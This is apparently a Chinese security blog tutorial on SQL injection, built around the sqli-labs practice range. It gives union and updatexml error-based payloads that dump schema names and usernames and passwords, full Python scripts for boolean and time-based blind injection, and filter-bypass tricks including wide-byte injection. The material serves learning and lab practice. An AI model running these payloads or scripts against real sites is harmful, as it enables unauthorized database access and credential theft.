作者:永不落的梦想
作者主页:传送
座右铭:过去属于死神,未来属于自己
本文专栏:Web漏洞篇
今日鸡汤:发光并非太阳的专利,你也可以发光
目录
一、SQL注入漏洞概述
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞可以访问或修改数据库数据,或者利用潜在的数据库漏洞进行攻击;
SQL注入是一种将SQL语句插入到用户的输入参数中、输入参数被数据库服务器解析执行的攻击方式;
任何客户端可控,传递到服务器的变量,并且与数据库进行交换,都可能存在SQL注入漏洞;
在处理程序和数据库交互时,直接拼接字符串构造SQL语句或未经严格过滤都将造成SQL注入漏洞;
二、MySQL基础
1. 基本查询语句
①select [distinct] 字段名 [as 别名] from 表名 [where 查询条件] [group by 分组字段 having 分组后的查询条件] [order by 排序字段 desc/asc] [limit 分页参数]
②select 字段1,字段2 from 表名1 where 查询条件 union select 字段3,字段4 from 表名2
2. 符号
> | < |
>= | <= |
= | != |
and(&&) | or(||) |
like | in |
3. 重要函数
substr(str,start,len) | 返回str自start个字符起长len个字符的字符串 |
group_concat(str1,str2,……) | 返回多个字符串以逗号作为分隔拼接的字符串 |
concat(str1,str2,……) | 返回多个字符串拼接后的字符串 |
sleep(n) | 睡眠n秒钟 |
length(str) | 返回字符串长度 |
if(value,true,false) | value为真执行true、为假执行flase |
version() | 返回数据库版本信息 |
database() | 返回当前数据库名 |
user() | 返回用户名 |
current_user() | 返回当前用户名 |
system_user() | 返回系统用户名 |
@@datadir | 返回数据库安装路径 |
@@basedir | 返回MySQL安装路径 |
@@version_compile_os | 返回操作系统版本信息 |
4. 重要数据库、表、字段名
information_schema数据库,记录了所有数据库的信息;
information_schema.schemata表,记录了所有数据库信息,其中schema_name字段为数据库名;
information_schema.tables表,记录了所有表信息,其中table_name字段为表名;
information_schema.columns表,记录了所有字段信息,其中column_name为字段名;
三、SQL注入漏洞分类
按数据类型分类 | |
数字型(不需要闭合) | 字符型(需要闭合) |
按注入方式分类 | |
联合注入 | 报错注入 |
时间盲注 | 布尔盲注 |
堆叠注入 | 宽字节注入 |
二次注入 | DNSlog注入 |
四、SQL注入基本流程
1. 构造闭合
传参?id=1,查询正常;
传参?id=1',出现报错,分析''1'' LIMIT 0,1'可知,最外层单引号是页面回显自带的,即'1'' LIMIT 0,1才是SQL语句的内容,1左边多的一个单引号是用户输入的,因此'1'是单引号闭合;
2. 确定查询字段数
传参?id=1' order by 4%23,出现报错(%23为注释符#的url编码,get用%23,post用#);
传参?id=1' order by 3%23,查询正常,说明查询字段数为3;
3. 确定回显位
传参?id=0' union select 1,2,3%23,回显2和3,说明回显位是第二和第三位;
4. 查询数据库名
传参?id=0' union select 1,2,database()%23,可得当前数据库为security;
传参?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23,可得所有数据库名为information_schema和security;
5. 查询数据库的表名
传参?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23,可得当前数据库security的表名;
6. 查询表的字段名
传参?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23,可得users表的字段名;
7. 查询字段的数据
传参?id=0' union select 1,group_concat(username),group_concat(password) from users%23,可得users表的username和password字段的值;
五、注入方式详解
1. 联合注入
原理
通过union关键字实现一条SQL语句查询两张表的数据并将查询到的数据以相同的格式返回;
注入场景
union、select、#等关键字未被过滤或者可以绕过过滤;
union前后两次查询的字段数一致;
有回显位;
注入流程
①构造闭合——输入' " # \等字符结合回显信息可判断闭合方式;
②使用order by确定查询字段数——order by 数字n表示按照第n个字段查询,当第n个字段不存在时会报错,以此可确定字段数 ;
③绕过union、select等关键字过滤——双写绕过、大小写绕过、/**/或()绕过空格等;
④确定显示位——使用union select 1,2,3……确定回显位,当回显记录数不足时需将union前的查询输入空查询或用limit分页查询或用group_concat()函数拼接,当回显长度数不足时使用substr()函数分块查询回显;
⑤查询数据库、表、字段名和数据;
2. 报错注入
原理
updatexml()等报错函数的第二个参数必需为Xpath格式否则报错,当第二个参数为SQL语句时,会执行SQL语句并将执行结果作为报错内容回显;
注入场景
页面无查询结果回显,但有SQL语句报错信息回显;
案例
传参?id=1,无查询数据回显;
传参?id=1',出现SQL语句报错信息;
由以上可判断,应使用报错注入,并且是单引号闭合,按以下传参查询数据:
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
# 返回数据库名:security
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
# 返回表名:emails,referers,uagents,users
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)%23
# 返回字段名:id,username,password
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)%23
# 返回查询数据:Dumb,Angelina,Dummy,secure
# 此处报错回显长度不足,可以使用substr()函数分块回显
3. 布尔盲注
原理
页面只有代表True和False的回显时,通过or、and连接构造的判断语句根据回显True或False可一步一步确定查询数据的每一个字符,编写python脚本可快速返回查询数据;
注入场景
只有代表True和False的两种回显输出;
案例
无论输入什么只有以下两种回显,判断为布尔盲注;
通过简单测试构造闭合为1'#,编写python脚本查询数据,脚本中只需改变sql变量的SQL查询语句即可,布尔盲注python脚本如下:
# 布尔盲注python脚本
import requests
url = 'http://sqli-labs/Less-8/' # 请求的url
sql = 'select database()' # SQL查询语句,依次查询数据库名、表名、字段名、数据
flag = '' # flag表示目标值
for i in range(1, 100): # 假设flag长度为1-100
left = 0 # 最小ASCII码
right = 127 # 最大ASCII码
mid = (left + right) // 2 # 使用二分法查找flag的每个字符的ASCII码
while 1:
payload = {'id': f"1' and ascii(substr(({sql}),{i},1))>{mid}#"}
res = requests.get(url, params=payload)
if 'You are in' in res.text: # 布尔盲注为True时的回显
left = mid
mid = (left + right) // 2
else:
right = mid
mid = (left + right) // 2
if mid == 1:
break
elif (right - left) <= 1:
flag += chr(right) # 将查询到的ASCII码转字符拼接到flag中
print(flag)
break
# 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
if mid == 1:
print('已输出所有字符')
break
sql='select database()'时输出数据库名:security
sql='select group_concat(table_name) from information_schema.tables where table_schema="security"'时输出表名:emails,referers,uagents,users
…………略
4. 时间盲注
原理
使用sleep()和if()函数构造payload,通过页面回显时间判断payload内的条件是否正确,进而确定查询数据的每一个字符;
注入场景
页面只有一种回显
案例
经测试,无论输入什么,页面都只有一种回显,可以判断为时间盲注,并且为单引号闭合;
时间盲注python脚本如下,只需改变sql变量的SQL查询语句即可:
# 时间盲注python脚本
import requests
import time
url = 'http://sqli-labs/Less-9/' # 请求的url
sql = 'select database()' # SQL查询语句,依次查询数据库名、表名、字段名、数据
flag = '' # flag表示目标值
for i in range(1, 100): # 假设flag长度为1-100
left = 0 # 最小ASCII码
right = 127 # 最大ASCII码
mid = (left + right) // 2 # 使用二分法查找flag的每个字符的ASCII码
while 1:
payload = {'id': f"1' and if(ascii(substr(({sql}),{i},1))>{mid},sleep(3),1)#"}
time_start = time.time() # 记录发起请求时的时间
res = requests.get(url, params=payload)
if time.time()-time_start > 3: # 计算时间差,时间盲注为True时页面sleep(3)
left = mid
mid = (left + right) // 2
else:
right = mid
mid = (left + right) // 2
if mid == 1:
break
elif (right - left) <= 1:
flag += chr(right) # 将查询到的ASCII码转字符拼接到flag中
print(flag)
break
# 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
if mid == 1:
print('已输出所有字符')
break
时间盲注比较耗时间,特别是在网络状况不好的情况下需要将sleep时间设置大一点才能保证结果的正确性,这更加消耗时间;
时间盲注虽然只有一种回显,但是源代码不一定完全相同,可以找出其差异使用布尔盲注来提高效率;
5. 堆叠注入
原理
输入SQL语句结束符 ; 并且在结束符后插入新的SQL语句,导致服务器执行多条SQL语句,以此执行攻击者想执行的SQL语句;
注入场景
服务器使用了一次可执行多条SQL语句的函数连接数据库查询数据(如php中的mysqli_multi_query()函数);
6. 宽字节注入
原理
为防止SQL注入攻击,有时会对用户输入的单引号、双引号等特殊字符前加反斜杠 \ 转义,而在精心构造的payload中,加入的反斜杠 \ 与原引号前的字符组合成宽字节的汉字,反斜杠\的转义作用也就失效了,引号等字符可以正常起作用;
注入场景
数据库与php编码方式不同(如php使用utf-8编码、数据库使用GBK编码);
案例
输入单双引号都正常回显;
传参?id=1%df ',出现SQL语句报错,说明单引号其作用了,而%df与反斜杠\组合成了宽字节的汉字,可以确定为宽字节注入,并且是单引号闭合;
使用%df绕过反斜杠\转义,然后构造闭合正常注入即可;
7. 二次注入
原理
输入的恶意数据被防御机制转义不起作用,而存储到数据库的数据是未转义的恶意数据,当数据库下次查询恶意数据时造成SQL二次注入攻击;
注入场景
恶意数据在未被过滤或转义的情况下被存储到数据库;
8.其他注入
DNSlog注入、quine注入等等;
六、绕过
1. 空格过滤
使用注释符/**/、括号()、%0a等代替空格的作用、或updatexml注入不需要空格;
2. substr()、sleep()、if()过滤
使用mid()、substring()函数代替substr(),使用benchmark()、笛卡尔积函数代替sleep(),使用case when语句代替if();
3. 空flag
当select flag from flag查询为空时,可能是未指定数据库的原因,改为select flag from ctf.flag
4.等号=过滤
使用like+通配符%或_代替;
5.and、or过滤
大小写绕过、双写绕过、替换为符号(and->&&、or->||);
6.引号过滤
编码hex()或char()绕过、宽字节注入;
7.比较运输符过滤
greatest()返回最大值、least()返回最小值;
8.注释符#过滤
前后同时闭合;
9.黑名单限制
select group_concat('a','d','m','i','n') 等效于 admin;
SQL注入工具:sqlmap,SQL注入靶场:sqli-labs